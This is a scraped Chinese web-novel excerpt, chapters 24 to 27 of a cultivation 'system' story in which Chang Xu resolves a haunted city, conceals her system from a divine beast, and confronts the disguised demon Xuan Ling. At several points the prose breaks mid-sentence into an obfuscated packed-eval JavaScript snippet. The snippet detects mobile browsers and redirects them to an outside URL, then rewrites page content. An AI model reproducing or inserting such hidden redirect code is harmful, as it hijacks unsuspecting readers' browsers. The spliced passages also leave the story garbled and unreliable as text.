五百年前，景朝灭亡之时，柔嘉公主以献祭一城为代价，与前来攻城的敌军同归于尽。 这座本该在在战乱中被焚毁的城池，却并没有就此沉寂，即使化为废墟，仍束缚着背负血债的亡灵，延续着渐渐扭曲的恨。 “公主殿下，你已经被困在这里五百年了。”常栩的目光不无怜悯，轻声道，“这世间沧海桑田，公主，你所恨皆成云烟，该放下了。” 柔嘉公主陷入了深深的迷茫，难以相信：“五百年……五百年……不可能，我还，我明明才……” “可是火……我分明看到了火，与那一天的一模一样。不是叛军，那是谁放的火？是谁让我杀人——是谁？” 柔嘉公主陷入了深深的混乱。 机会正好，有人焦急出声道：“先别管了，快抓住她！许姑娘你可别信鬼话，那柔嘉早已死了五百年了，献祭城镇的力量足够让她灰飞烟灭，怎会重返人间？这所谓的公主，根本就是邪灵所构，而非真的柔嘉公主。” 常栩缓缓摇了摇头。 她能感觉到，面前的女鬼绝非小说中所描述的“残存的怨念”，而是真切的魂灵，只是一直处于失忆状态，如今才找回自我。 能思考，就能被说服。 常栩缓缓道：“这座城池，五百年前与你同葬，但几百年后又再度繁华。即使在最后一个王朝灭亡之后，每逢春日，仍有花在盛开。公主啊，没有什么血海是时间不能洗刷的。” “与其漫无目的地找人陪葬，我以为，有更值得你去寻找的人。” “你说的，是谁？” 柔嘉显然被说动了，主动开口追问。 常栩不顾危险走近了些，用只有两个人能听到的声音说：“焕山城的鬼市中，驻留着一位皇帝。他曾叫住我的那名朋友，我当时并不理解，如今见了公主，才觉恍然。殿下，你的亲人一直都在等你。” 柔嘉公主的声音颤抖起来：“难道是……父皇？” 她周身的力量终于因为情绪波动而崩塌，常栩和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她看了一眼周围的鬼哭狼嚎，双目一闭，恨不得再次昏死过去。 常栩其实并不知道该怎么消灭恶鬼，但既然原著说江霓擅长御鬼，总不会有错，便摆出大师姐的架势，强硬地要求她必须做。 江霓才醒过来就要面对如此重任，简直是欲哭无泪，嚷嚷道：“我不要！这里太可怕了，我要回家！陆小满救我！” 大庭广众之下，这姑娘竟然旁若无人地撒起泼来，全无一点修真之人的稳重。 原本因为韩尚同而对苍华派另眼相看的人们，见此情景，又升起了轻视之心。 江霓的声音传到陆小满耳中，她正与众人一同制服厉鬼，听到对方可怜巴巴的求救声，虽然不明所以，但还是高声道：“江霓，你成天闷在房间里古里古怪，再不修炼出一点本事、成天逃避，回去就要被逐出师门了！” 其他苍华弟子也纷纷鼓励江霓，连庚微也对她提起失踪的师弟，再加上有常栩和宣凌这两个凶神架着她，江霓只能一咬牙，哭丧着脸道：“那、那我试试！” 江霓的手上掐出法诀，手臂上浮现出繁复的咒文，以身体为引，同时祭出几道小型招魂幡。 地面上以她为中心形成阵法，飘荡的恶鬼很快盘悬着从四面八方赶来，又在转瞬之间被镇压在法器之下。 常栩为江霓护法，忍不住啧啧称奇，不是因为她异于常人的能力，而是这丫头竟然能一边哭一边抓鬼，实在是有趣得很。 在江霓的帮助下，太阴城恶鬼悉数被净化，空气中的迷雾也一点点散尽。 与此同时，久久遮蔽的天空终于显露出光亮，蜃庞大的身躯缓缓移动，尽管依旧雷声轰鸣，却未见如先前一般的攻击。 众人悬着的心，在韩尚同完整走出的那一刻，才彻底落了下来。 云层中，蜃留下最后一句话：“愿赌服输。尔等凡人，不值得吾动手。” 所有人都松了一口气，齐声道：“恭送前辈。” 【叮！恭喜宿主完成任务！您获得30点羁绊值，请注意查收！】 漫长的一夜终于过去，常栩听到任务完成的消息，以为事情总算告一段落。 然而，就在下一刻，蜃雷鸣般的声音她的耳边响起：“谁是系统？什么任务？” 常栩：“……” 系统：“……” 25. 第二十五章 变数 蜃的声音震荡在耳边，由于这股力量实在太过霸道，常栩的身形一晃，额头已然浮起细密的汗珠。 她环顾四周，众人的脸上皆是劫后重生的喜悦，并没有人注意到异常。 蜃的声音，似乎只有她听到了。 “余下的鬼魂可能还需要……怎么了？” 宣凌注意到常栩的异样，询问道。 “没……没什么。” 常栩拍了拍脑袋，尖锐的耳鸣渐渐平息。 难道又是幻觉？ 就在她心里产生怀疑之时，蜃似乎等得不耐烦了，再次问道：“系统在哪里？” 这次的声音更加清晰，如针一般哗啦啦扎入脑海。 常栩眼前一黑，只感觉天旋地转，晕乎乎地向后倒去。 “师姐？” 宣凌下意识地接住常栩，唤了几声都没有反应。 庚微用灵力探查一番，只说是消耗过甚，只需休息便好。 “你们留下一个人照顾长生，其余的随我处理邪祟。” 宣凌看向韩尚同和岳婉吟。 不知怎的，与蜃对决都未见颓色的韩尚同忽地咳嗽起来，说自己太累了，没有力气。岳婉吟则举起刚包扎好的双手，表示爱莫能助。 陆小满倒是很愿意留下，只是江霓哭得肝肠寸断，狗皮膏药似的牢牢抱住她，实在是腾不出手。 宣凌低头看了眼怀中面无血色的常栩，道：“既然如此，那便由我来看顾师姐吧。” 常栩此时正在意识里天人交战。 蜃的神识毫不客气地闯进来，简直如入无人之境，自顾自地说：“奇哉怪哉，诸人之中，唯有汝与韩尚同最为不同。彼有天运所罩，身披金光，不足为奇。汝却何以一片空白，连吾都无从看透？” 常栩能感觉到，因为蜃的出现，系统已经躲入了意识深处，想来也是怕被察觉。 毕竟，谁也不知道当“系统”这一存在被书中人所知晓，会产生什么样的变数。 常栩思绪电转，道：“前辈是您可能误会了，我只是个小人物，何劳您大驾。” “汝还未回答吾的问题。” 常栩试图糊弄过去：“哎呀，那只是我的自言自语而已，当不得真——” “吾方才听见汝身上存在两种声音。”蜃打断了常栩的话，“汝要欺骗吾吗？” 这家伙的求知欲还挺旺盛。 常栩继续装傻充愣：“可能是刚才人太多了，您听错了吧？我的脑子里自然只有我一个，怎么会有其他人。” “小子狡猾。” 蜃淡淡地吐出四个字，若无其事地说，“汝既执意不言，吾便将此事问与他人听，总会知晓汝隐藏的秘密。” 常栩：“……” 还威胁上了！ 常栩觉得此事棘手，不知该不该告诉蜃。 一直装死的系统见躲不过去，还是开口了：【不必。我可以回答你。】 “汝便是‘系统’？” 蜃饶有兴致地问：“非人非鬼、非妖非邪……汝究竟是什么？” 系统道：【正如你所看到这般，韩尚同是背负天命之人，而我们是天命的践行者。】 蜃：“看来，汝知晓很多事情。” 系统：【您只要知道，我与您一样可以‘俯瞰’众生。我们的目的，就是维持这个世界的运转。】 它这话说得神神叨叨，蜃却似乎听懂了其中的意思，笑了两声：“汝之所求，只怕不得其果。” 强大的神兽显然已经理解了一切，未再继续追问。常栩放心不下，试探性地问道：“前辈既然已经知晓了我们的存在，还请莫要传扬出去……” 蜃满不在意道：“安心。吾为柔嘉所召，已于人世数百年，如今祭祀已除，吾亦须归于九天。” 要走了？ 常栩想到太阴城中的诸多异常，忙问：“前辈！关于太阴城献祭的事情，您能否透露一二？最近几年，有没有发生过什么事情？” 蜃幽幽笑道：“一年之前，有人来过太阴城，正是他唤醒柔嘉。那人与汝同样，是道路上的变数。” 这番话语焉不详，听得常栩一脸问号。 来不及追问，心满意足的蜃已经彻底离开了，留一人一系统面面相觑。 良久，常栩松不确定地问：“应该，不会告诉别人吧？” 系统：【此事在我预料之外。还请宿主以后少些走动，若是我的存在被世人所知，势必引起大乱。】 常栩问：“你这是怕了吗？” 系统道：【我只是一串数据，随时可以消散。宿主却不同，您已经来到了这个世界，行事要万分小心才对。您太心大了。】 常栩不以为意：“兵来将挡水来土掩，想那么多干嘛？我都累了一天了，现在最重要的就是好好睡一觉。” 【还不行。】 系统说完这三个字，无形的巴掌打在常栩的头上，强行见她带回了现实。 【请宿主尽快完成任务。】 常栩意识回笼，猛地睁开眼睛。 映入眼帘的是眉目温柔、帮她擦拭脸颊的宣凌，怀疑自己还在幻境中，马上又把眼睛闭上了。 宣凌道：“师姐，您若实在想睡可以等回门派，在这里幕天席地，岂不是委屈了师姐？” 话中带着微妙的讽刺，是熟悉的感觉。 常栩放心了，面前这个笑里藏刀的家伙确实是真正的宣凌，于是麻溜站了起来。 天光大亮，太阴城已经彻底没了鬼气，只剩下一片烈火焚烧之后的废墟。 虽然没了瘴气阴霾，却是更加哀婉凄凉。 死去的人皆如同被烈火焚烧过，漆黑扭曲，难以辨别。一些劫后余生的百姓，抱着不知名的尸体痛哭。尚还有气息的活尸有些恢复了神智，有些却陷得太深，依旧疯疯癫癫。呼喊声此起彼伏，各大门派都在寻找失踪的门人。 常栩问：“庚微长老的弟子怎么样？” “回师姐，已经找到了，还有一口气。不过一直唤不醒。” 此情此景下，这算是为数不多的好消息。 待到邪祟彻底清除，各路修士纷纷告辞，留下天元宗和青离宫的人负责太阴城的善后工作。 由于见到江霓在驱鬼方面大展身手，何向悠有意请她留下一同处理后事。 这可把江霓吓得够呛，她只想快些回苍华，生怕陆小满丢下她，死拽着不放手，头摇的和拨浪鼓似的。 拉扯了半天，见江霓实在不愿，何向悠无奈只好作罢。 陆小满拉着江霓往出走，见常栩醒了，像是一下子找到了主心骨，抱怨道：“师姐你快看这丫头，一直缠着我，真是不知羞！” 江霓道：“你不也一直缠着师姐吗？半斤八两好吧！” 两个人叽叽喳喳，你一言我一语，倒是难得增添了几分活力。 常栩的脸上浮现淡淡的笑意，看了一圈，又问:“韩尚同呢？” “韩师兄方才与庚微长老一道——啊，在那边！” 顺着方向，常栩看到韩尚同正与岳婉吟告别。 常栩微微一笑。 按照剧情来，这时候男女主感情有所进展，往往需要有人来横插一杠子，发表些看不起男主的杂鱼言论。 果然，两个人才说了几句关切的话，杜泽良就看不过去了，对韩尚同道：“男女授受不亲，韩小友几次三番纠缠不休，实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362915|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在有失苍华派的脸面。” 他的态度十分冷硬，或许还有几分不明不白的嫉妒。 倒是一旁伏幽派的人道：“杜长老，这位小友此番力挽狂澜，是个好汉，何必如此咄咄逼人呢？” 杜泽良面子上挂不住，又拿出先前的说辞，冷哼道：“今日之事，难道是韩尚同一人的功劳不成？小门小户出来的，能有几分真本事？” 旧话重提，常栩就等这句话，马上拍案而起：“杜长老，我们苍华出力最多，若我们是无名门派，不如我们的又该算什么？乌合之众吗？” 她刻意说得大声，确保在场的所有人都能听清楚。 而后也不管杜泽良再说什么，摆出一副怒气冲冲的模样，径直走向城门。 苍华派弟子们虽然有些不明所以，但经此一役，常栩在他们心中的分量重了不少，因而尤为齐心，几乎毫无迟疑地跟着她一同离开。 “师姐果然是关心韩师兄。” 只有宣凌说了句不冷不热的话，听不出什么情绪。 常栩看了他一眼，直觉他是在阴阳自己偏心，又觉得奇怪，这小子何时在意这种事情了？ “诸位留步！” 身后传来何向悠的声音。 常栩心头一喜，不动声色地回头，果然见她手里拿着一块令牌。 “许姑娘所言在理。此番能够扫除妖邪，苍华派居功甚伟，我等由衷感佩。还望苍华派能在一年之后莅临天元宗，参加道清大会。” 这可是个了不得的东西。 令牌一出，围观的修士们纷纷交头接耳，暗自惊讶。 天下宗门以天元为至尊，各派皆以能入道清盟为荣。邀请参加道清大会，意味着门派已经获得了天元宗的认可。 所有人都意识到，经此一事，苍华派即将扬名天下，再不只是永川镇旁的小门派了。 相比其他人的高兴、羡慕或嫉妒，常栩只想到一件事。 【获得关键道具：道清令。剧情进度超过百分之五十，即将进入转折期，还请宿主做好准备。】 总算要来了。 正是在一年之后的道清大会上，宣凌暴露了魔族身份，又因岳婉吟之死而彻底黑化。 常栩也将彻底与之决裂，最终达成死遁的目标。 杜泽良怒气冲冲地看着常栩接过令牌，顿感颜面扫地，连拜别都没做，拂袖离去。 除此之外，其余门派都对苍华表示恭喜，还有一些人忙不迭地找庚微长老套起近乎，态度与入城之时形成鲜明对比。 时近晌午，苍华派才离开太阴城。 道清盟负责善后的修士们早已等在外围，因事涉诸多人命以及存在魔族踪迹，几大门派讳莫如深，自行处理，很快又将城门封上。 由于回程的弟子人数增多，又有受伤昏迷者，在天元宗的安排下，苍华派众人并未乘坐云舟，而是选择了更为稳妥的交通方式——坐马车。 马车不比御剑和云舟快，但最起码不用耗费自己的气力，也不会晕船。 走出不久，再度经过焕山，常栩掀开帷幕遥望坐落于山间合抱的太阴城，已无来时那股冲天黑气。 柔嘉公主、蜃，以及那个神秘人……常栩直觉事情并不简单，可那是“主线剧情”之外的故事，她暂时还无法查探。 “哎，算了，还是先好好睡一觉吧……” 经过了太阴城的一天一夜，常栩累得瘫软在马车内，也不管木板硬不硬，就要原地睡个美美的觉。 然而，才刚阖上眼睛，行驶中的车队陡然一阵颠簸，伴随慌乱的脚步声。 常栩皱眉起身，便听弟子满脸惊恐地跑过来，急道：“师、师姐！不好了，有魔族！” 26. 第二十六章 暴露 漆黑夜色下，数十名魔族突然包围了车队，动作极为迅速，显然是有备而来。 第一时间发现异样的几名弟子已然受伤倒地，其余人等严阵以待，每个人都面色苍白。 刚经历太阴城之事，多数人早就力不从心，更因未曾遇见魔族而心怀惊惧。 魔族的最前方，一名面容瑰丽的女子打量着弟子们，嗤笑道：“如此不堪一击，何必需要我出手呢。” 女子一袭紫色衣裙，姿态肆意、神情悠然，并不将苍华派放在眼里。 庚微面色复杂：“季聆雪，你竟然还活着。” 紫衣女子这才注意到他，讶然道：“想不到还有人认得我。怎么，难道我不该活着吗？” 常栩眉头一挑。 季聆雪，十年前的南玄派首徒，却在一夜之间杀师叛逃、堕入魔道。 更重要的是，她是原著中除了岳婉吟之外，宣凌身边出场最多的女角色，对他忠心耿耿，最后与宣凌一同赴死。 庚微的神情多了几分厌恶：“你来这里的目的是什么？” 季聆雪漫不经心地擦拭手中长剑，道：“你们这些人，总是看不清形势。这位长老，现在可不是发问的事后，你应该好好逃命才对。” 庚微握紧拳头。 “不过，看在你认得我的份上，我就与你做一个交易。”季聆雪道，“我们此番是为剪命人齐洋而来，他是你们苍华派害的，冤有头债有主，只要交出凶手，我可以保证，苍华派其他人安然无恙。” 常栩没有动。 庚微也没有任何动作，仿佛没有听见这句话。韩尚同、沈星河等人也都神情不变，保持着防御的姿态，随时准备与魔族动手。 苍华派的众人，没有一个人应下这个“交易”。 人魔大战后，各大门派皆立下誓言：但见魔族，格杀勿论，虽死犹荣， “哈哈哈，好！很好！真是上下一心！这才是正道中人该有的样子！”季聆雪似乎并不意外，抚掌大笑，眼中却闪烁着讥讽，“如此，就别怪我动手了。” “等——” 眼见季聆雪马上动手，常栩还想再拖延一段时间，就要开口阻止。 就在同一时间，树林上方传来一阵突兀的笛声，惊走乌鹊，回荡在众人的头顶。 季聆雪神色一变，看向庚微，道：“算你们走运。撤！” 说罢，迅速后退，很快隐匿于黑暗的阴影。 一众魔族悄无声息而来，又匆匆离去，仿佛一场幻觉。 然而所有人都明白，这时货真价实的魔族。 庚微的面色十分难看。他命令弟子们严加防守，同时加紧赶回苍华派商议 “如此大规模的魔族现身，近十年未曾有过，又正是太阴城事件结束之际，其中恐有关联，不容小视。” 常栩点了点头，环顾一周，突然问：“宣凌呢？” * 树林深处，归弥放下笛子，冷静道：“已经让他们都撤走了。只是属下不明白，殿下为何要放过这些人族。” 宣凌将剑架在他的脖子上，不带任何感情：“我只需要听话的狗。” 归弥道：“属下以为，带了这么写些人来借您回去，应该足够表示诚意了。” “我不觉得带我回去需要如此大的阵仗。” 归弥问：“您这是还不信任我吗？” “那倒不是。”宣凌放下了剑，道：“以归弥长老的身份，没必要大费周折只为了骗我。况且我也听说了，二位兄长无能，危冥山人心不稳，你也别无选择，否则也不回来找我这个流落人界的弃子。” 归弥没有否认：“没错，属下斟酌良久，才决定追随殿下。但属下可以保证，将对殿下绝对忠心。” 宣凌勾起嘴角：“我自然相信你，毕竟你连徒弟之死都没去报。” 归弥苍老的脸上难得有几分波动：“殿下已经知晓了，齐洋是老衲的弟子。” 宣凌道：“他身上有你的魔气，我当然识得。” 归弥神情不变，问道：“殿下也见过他？不知是否得罪殿下？” 真是个老狐狸。 宣凌没兴趣打太极，直截了当地说：“齐洋是我所杀。” 归弥的眼角微不可查地抽出一瞬，而后道：“……齐炎挑衅殿下，是其大罪。他死在殿下手上，属下无悔。可是，人族竖子也曾参与其中，还请殿下允准属下报仇。” 宣凌道：“果然，这才是你围剿苍华派真正的原因。” 归弥沉默片刻：“什么事情都瞒不过殿下。不过，属下以为，您会乐于看到我这么做。难道您还要继续留在这里吗？” 提起这件事，宣凌无意识地摸了摸手腕，道：“我还要再留一段时间。我先前重伤，与苍华之人定下誓约，在痊愈之前无法伤其性命。听明白了吗？” 归弥赶忙谢罪：“属下遵命，近期不会再对苍华出手了。” 宣凌点头：“你们先回去吧，最近太阴城之事引人注目，少惹事端，莫节外生枝。” 归弥颔首，忽地眉头一皱，似乎察觉到什么，手上已经蓄了力。 宣凌抬手阻止，示意他自行离去。 * 常栩蹲在树后哈欠连天。 她一遍偷听，一边和系统吐槽：“归弥这老小子不敢得罪顶头上司，就知道拿我们这群小喽啰撒气，听他的意思，怕不是已经恨上苍华派了？” 系统：【准确来说，归弥恨的是您。您才是他口中的‘人族竖子’。】 常栩顿觉芒刺在背。 她现在修为虽有长进，但对比魔族三大长老之一的归弥还是不够看的，万一一会儿被对方发现，新仇旧恨一起算，那不是完球！ 常栩紧了紧外袍，将自己缩得小小的，又问：“任务还没完成吗？我都要累死了，还要来这里偷听，你这剧情点是不是太密集了？” 系统安慰道：【此为近期最后一个任务。下一个剧情点在一月之后，届时您可以放心休息。】 常栩抹了一把辛酸泪，这黑心系统终于舍得给她放假了！ 正说着，那头归弥已经没了踪影，剩下宣凌站在原地，没有离去的意思，像是在等什么人。 常栩探头打量一周，知道该她上场了，深呼一口气，从树后缓缓走出。 听到声响，宣凌抬眼望去，故作意外地问：“师姐，您是来找我的吗？” 常栩冷冷一笑：“我果然没有看错。小魔物，我倒要看看，你这次还有什么说辞。” 宣凌眼中的寒意一闪而过，很快又恢复成一直以来的伪装，浅笑着问：“师姐此话何意，宣凌听不懂。” 常栩质问道：“魔族袭击车队，你却在这人迹罕至之地与人私会，你是想说这是巧合吗？” 宣凌讶异：“有魔族吗？这么危险的时候，师姐您还如此关心我的行踪，真是令人感动。” 常栩心想这小子真是能装，道：“你隐藏得确实好。不过你忘了一点，虽然你极力压制魔物的气息，但是太阴城的幻境内，还是无所遁形。” 宣凌眸色一暗：“难怪师姐最近对我态度好了不少，原是在寻找我的破绽。” 常栩听他话中有几分自嘲，觉得奇怪，但还是继续演戏，威胁道：“你不怕吗？只要我告知别人，你还有命活吗？” 宣凌却摇了摇头：“师姐，我是你救回来的，不怕牵扯你自己吗？苍华派方才得到天元宗的认可，若是被发现有魔物，又当如何？” 这确实是许长生最在意的面子，所以她不会第一时间声张此事。 见常栩迟疑，宣凌不紧不慢地为自己辩解：“师姐也瞧见了，当初我因为被魔域追杀差点死掉，虽然是魔，却只是普通的魔兵。生死扔掌控在师姐手里，又何必忌惮我？” 常栩被说服了，哼道：“我看你也没什么用。不过，你以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362916|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我凭什么留你？你也不想身份被别人知道吧？” 说着，她动了动受伤的手臂，意味不言自明。 宣凌心领神会，从怀中拿出一片竹简形状的书册，用灵力送到常栩手中。 “我知师姐所为何事。此物为我一直修炼的功法，可助师姐疗愈顽疾。” 对于修行之人而言，功法无异于自身命门。宣凌此举，无疑是将自身的所有弱点乃至死穴暴露给敌人。 常栩运使灵力略一探查，果然与宣凌气息相类，面上不由笑意难掩，道：“算你识相。以后夹着尾巴做人，若是让我发现你有何不轨……” 宣凌老老实实道：“谨记师姐教诲。” 常栩将竹简收入囊中，听到任务完成的提示音，默默放松下来。 瞥了静静微笑的宣凌一眼，她道：“还有一点，我近期不想看到你，最好别来打扰我。” 她打算好好给自己放个假。 宣凌点了点头，跟在常栩身后，笑意慢慢淡了下去，心里道：“你想死可别怪我，师姐。” 常栩感受到身后的视线，打了个冷战，发愁道：“系统，我真的要修炼这个吗？” 系统：【此物关系宿主的最终任务，请务必修炼。】 常栩叹气：“好吧。” 就算知道是陷阱也要往上撞了。 魔族之事告一段落。此后的一路上，苍华派再未遇到危险，无事发生。 没有剧情点，常栩也就不再关注宣凌。 魔族的宝典确实有用，经过几天的修炼，她成功止住了即将发作的旧伤，不仅如此，太阴城内所受新伤也有所好转，算是意外收获。 第四天的下午，一行人终于回到苍华派。 谢千景和穆蘅带人在山门迎接，穆蘅则安排受伤的弟子们陆续前往广元堂疗伤。 轮到常栩，她摇了摇头，表示自己并无大碍。 谢千景却强行拉住她，缓缓问道：“长生，活尸造成的伤口非同一般，怎么好的这么快？” 语气虽然温和，却隐隐有些不悦。 常栩：“……” 谁嘴巴这么大，这么快就说出去了！ 她的伤是用魔族功法治疗的，万一被掌门看出点什么可就不好了！ 好在，庚微因想着魔族的事情，迫不及待地要说些什么。谢千景不动声色地摆摆手，示意回太上阁聊。 常栩见状，连忙借口自己太累了需要休息，甩开掌门飞回昀秀峰。 由于走得太过匆忙，她没注意到，身后的宣凌回去住处，而是转身朝山下走去。 韩尚同奇怪道：“师弟你不累吗？怎么又要下山？” 宣凌微笑摇头：“无妨。宣凌并没有帮上什么忙，差一点深陷幻境，想来也是全赖师兄相救，您才最应该休息。” “这……”韩尚同知他误会了，看了一眼远去的常栩，压低声音说，“其实，大师姐她……” 宣凌头一歪：“如何？” 韩尚同想到常栩的三令五申，终究欲言又止：“没什么。大师姐嘴硬心软，以前那般对你，也许并非是她的本意……你别怨她。” 宣凌眨眨眼睛：“我怎么会怨师姐呢？” 韩尚同也觉得自己奇怪，对啊，小师弟如此懂事，又怎会怪罪师姐呢？ 他笑了笑：“无事，你小心离去。” * 常栩飞回昀秀峰，连明曦都来不及打招呼，“砰”一声关上门，直愣愣地躺倒床上。 太阴城三日无眠、又要面对那么多奇奇怪怪的东西，实在是令人身心疲惫。 她很快就进入了梦乡。 不知过了多久，耳边忽地传来铃铛声，宛如索命梵音。 第一声的时候常栩还没在意，只当是上辈子的闹铃声，哼唧着拍了拍耳朵。 直到第二声响起。 常栩猛地惊醒。 不对！ 27. 第二十七章 天灯 宣凌推开木门之时，看着扬起的灰尘，心下莫名一紧，快步走进房间—— 只见少女慌忙从床上爬起，抱着被子躲在角落，帘幕之内，一双泛红的杏目怯生生抬起。 宣凌的手颤了一下，看到常栩眼角的泪光，板着脸说：“哭什么？再哭我就不来找你了。” 虽然这么说，他却伸出手，擦掉了少女脸上的泪水。 常栩有些不习惯宣凌这副模样，但她没表现出来，高高兴兴地凑上去：“宣凌哥哥！你终于回来了？” 宣凌点了点头，又问：“方才因何紧张？” 当然是因为你啊！ 常栩心里吐槽这小子太闲了，害得她觉睡到一半慌忙赶过来，也不知道哪儿来的这么多精力！ 这些话只能心里想想，她面上叹了口气，可怜巴巴解释道：“你不知道，这段时间一直有人在附近，我怕是有坏人，不敢开门。” 宣凌神色一凛：“有人来找你的麻烦？” 当然没有。常栩怕他继续追问，忙说些好听的话糊弄：“也不是，只是、只是我胆小而已，现在宣凌哥哥回来，我就什么都不怕了。” 宣凌不知在想什么，沉思了片刻。这时候，院外有人敲门，转移了二人的注意。 常栩奇怪有人来这里，正要出门，宣凌却先她一步，让她留在房间，说他来处理。 似乎知道来人身份。 院外的男子身形瘦高，穿着一袭金色暗纹的锦绣黑袍，模样贵气，身旁没有人跟随。 在宣凌出现的同时，男子浑身一颤，想也没想地猛地跪下：“宣、宣公子，您果然在此……” “起来。”宣凌神情淡漠，对这人的模样并不意外，“高家的事，处理的怎么样？” 男子小声道：“都处理好了，参与买凶的师爷和小厮都打发走了，死了也没人知道。县令那边因为有大门派的高人走动，我还没找到机会，这张人皮毕竟——” “你现在是高羡麟。” 高羡麟赶紧道：“是、是，我知道了，我一定会扮演好的！” 在宣凌面前，他即便已经换上了另一张人皮，却仍然流露出属于“少年”的神态。为了活命，他必须言听计从。 “听闻太阴城的事情结束了，我猜您会来这里，就带王乌大人一起来了。”高羡麟从袖中拿出锦囊，又表忠心道，“公子还有什么吩咐，我一定照做！” 王乌一下子钻出来，迎面扑到宣凌身上，叽叽喳喳地控诉这小子照顾不周，然后说自己有多么想念主人。 在被宣凌警告之后，它总算将“殿下”二字改掉了。 宣凌习以为常，让它停在自己肩膀上，而后问：“我让你保护裳儿，可有疏忽？” 话虽平淡，却隐隐流露出质问的冷意。高羡麟惊得浑身一寒：“绝对没有！照您的吩咐，这段时间无人打扰裳儿姑娘！” “是么？” 宣凌看了眼王乌，王乌点头道：“他说的没错。” 高羡麟擦了一把汗。 宣凌没再问，随手将一张刻有魔族联络暗号的符咒交给高羡麟，让他与归弥等人取得联系，听候差遣。 “小人遵命！” 高羡麟领命离去，不敢有丝毫怠慢。 房间内，常栩还在后怕，和系统吐槽宣凌竟然这么快就来找裳儿，幸好留了铃铛，否则就要被发现端倪了！ 宣凌很快回来。 透过开合的院门，常栩瞥见气质完全不同的高羡麟，心里闪过异样，问道：“宣凌哥哥，高公子来做什么？” 宣凌没有回答，而是问：“你这里有什么吃的吗？” 常栩被问住了。 她这屋子压根就没怎么住过人，先前买的食物大概也坏掉了。 “那个，宣凌哥哥，我这几日已经……” 宣凌皱眉：“你不用叫我哥哥。” 常栩愣住，眨巴眼睛，委屈地问：“什么意思，宣凌哥哥，你……你不要我了吗？是不是我做错了什么？” 宣凌：“……” 他有些焦躁，可见少女面露伤心，硬生生憋了回去，说：“没什么，你愿意叫就叫吧。” 常栩看到宣凌身上的血迹，才想起来什么，问：“哥哥你怎么样了？我听说太阴城出了大事，一直很担心你。你受伤了吗？我来帮你包扎。” 宣凌看到裳儿为自己担忧，感觉心情很好，说：“不是什么大事。” 常栩趁机道：“宣凌哥哥才回来，一定很辛苦吧？怎么就来我这里了？我见到你无事就安心了，不如先回苍华派休息吧！” 她觉得自己这番话很是贴心小棉袄，同时暗示对方赶紧离开。 没想到宣凌说：“我这段时间门派没什么事，既然你说这里不安全，我就留下来陪你几日。” 常栩：“……” 愣神间，王乌从宣凌的袖子中跳出来，大声喊：“我不同意！主人，这种破地方怎能让您屈尊！而且您身上还有伤，需要到灵气充裕地方呢！” 常栩难得和这臭鸟站在统一战线，泪汪汪地说：“哥哥你回苍华派吧，裳儿一个人可以的！” 她没想到，这副模样看在宣凌眼里只觉得她这是在强撑，更加有了决定：“不必多言，都是小伤，不值一提。” 常栩心里一万头羊驼奔腾而过，来看一看也就算了，怎么还长住呢！好不容易没任务了，怎么放个假就这么难！ 思绪转的飞快，她马上装出害羞的样子：“宣凌哥哥，这院子太小，恐怕多有不便，传出去对名声不好。” 宣凌这个魔族可不怎么懂这个，疑惑皱眉。旁边的王乌都比他懂事，解释道：“主人，你和这女子在一起可能惹人误会。” 宣凌问：“误会什么？” 王乌：“……嗯，她这样一个弱女子，身边若多了男子……” 宣凌忽地想到幻境之中的那一幕，耳边仿佛有听到了那声“相公”，耳根蓦地红了起来，生硬地说：“我会在别的房间，你不用担心。” 常栩心想，我担心的是这个吗！ 这个理由行不通，常栩又换了一个：“宣凌哥哥，苍华派最近没别的事情吗？你怎么有时间来这里？应该会有好多事情要做的吧。” 宣凌说：“没错，最近得了得了道清令，应该会很忙。” 常栩：“那你怎么——” 宣凌说：“无碍，师姐说她不想见到我。” 常栩：“……” 她不是这个意思啊！头一次体会到自己坑自己的感觉，简直欲哭无泪。 在宣凌收拾房间的时候，常栩咬牙问系统，自己的分身能坚持多少天。 系统算了一下当前数值：【宿主目前还有180点羁绊值，可以坚持半个月左右。】 常栩唉声叹气。 * 之后的一段时间，苍华派因为太阴城之事传开，前来拜访、结交，以及邀请参加活动的数量明显增多，门派上上下下都忙碌起来。 很快，众人发现，一向在乎颜面、此次出尽了风头的大师姐，却并没有想象中那么高兴，反而有些萎靡不振。 即便有重要客人来到，大师姐也没有怎么出面，陆小满等人想见她都见不到。 常栩好不容易回昀秀峰一次，开口就问宣凌什么时候回来，然后发现宣凌已经告了假，说是回家看望父亲。 尽管知道全是胡扯，她终是找不到正当理由把他叫回来，只能长长叹息。 此事传到弟子们耳中，不同人反映各异。但有一点，他们算是看出来了，大师姐对宣凌确实过分看重。 一天后，常栩又走出来，打探最近门派有什么大事，得知快要召开庆功宴了。 明曦还说起几位弟子的情况，特意提到沈星河埋头修炼，似乎受了情伤。 常栩“哦”了一声，并不觉得和自己有什么关系，只想着庆功宴的大事，下定决心，道：“还有七天，这次一定把宣凌叫回来。” 明曦：“……” 不由得同情沈师兄。 另一边，宣凌在永川镇一住就是四五天，还只是在院子里，也不怎么出去走动，没事就坐在院子里喝一天的茶。 更过分的是，他还和常栩一样吃一日三餐，竟然就这么过起了平平淡淡的凡人生活。 